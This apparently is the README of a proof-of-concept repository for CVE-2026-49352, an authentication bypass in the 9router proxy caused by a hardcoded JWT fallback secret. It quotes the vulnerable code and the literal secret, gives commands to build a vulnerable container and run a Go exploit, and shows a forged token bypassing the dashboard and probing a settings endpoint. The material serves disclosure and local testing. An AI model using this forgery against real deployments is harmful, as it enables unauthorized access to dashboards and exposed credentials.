
Exploitability PoC for CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)
CVE-2026-49352 is a vulnerability in 9router, a self-hosted Node.js/Next.js
proxy for AI coding tools. The dashboard session JWT is signed with a
secret sourced from the JWT_SECRET environment variable, but if that
variable is left unset, both the login handler and the request guard fall
back to the same hardcoded literal:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Because this string is committed to the public repository, it is not a secret at all. Any attacker can sign a token with it and be treated as an authenticated dashboard user.
| Affected range | Fixed in |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
The fallback secret is defined identically in two independent files.
src/app/api/auth/login/route.js — issues the session token on login:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — verifies the token on every protected request:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
hasValidToken() succeeding is the only condition checked before granting
access to /dashboard and to the endpoints listed in ALWAYS_PROTECTED
(including /api/settings/database). There is no lookup of a session
record and no validation of where the token came from — a valid signature
is treated as proof of identity.
The bypass is confirmed and reproducible against a build of the affected
codebase. With JWT_SECRET unset:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
The vulnerability only triggers when JWT_SECRET was never set by the
operator — the default for most quick-start / docker-run deployments that
skip the environment configuration step. Deployments that explicitly set
JWT_SECRET to a random value are not affected, since SECRET is derived
once at module load and never falls back.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Tool | Version | Notes |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose required |
| Go | ≥ 1.22 | For running the exploit locally |
External Go dependency: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Wait for the app to report ready, then verify:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Add -probe to also request /api/settings/database with the forged
cookie:
go run exploit.go -target http://localhost:20128 -probe
Available flags:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Resource | Link |
|---|---|
| Advisory | GHSA-jphh-m39h-6gwx |
| Vulnerable repo | decolua/9router |
| Full analysis — blog post | return-zero.dev/posts/cve-2026-49352 |
This repository is intended for educational purposes and local exploitability analysis only. All testing was performed against a self-hosted container environment. Do not run this PoC against systems you do not own or have explicit written authorization to test.
| Flag | Default | Description |
|---|
-target | http://localhost:20128 | Base URL of the 9router instance |
-secret | 9router-default-secret-change-me | JWT fallback secret to forge with |
-ttl | 36 * 365 * 24h | Validity window of the forged token |
-probe | false | Also request /api/settings/database |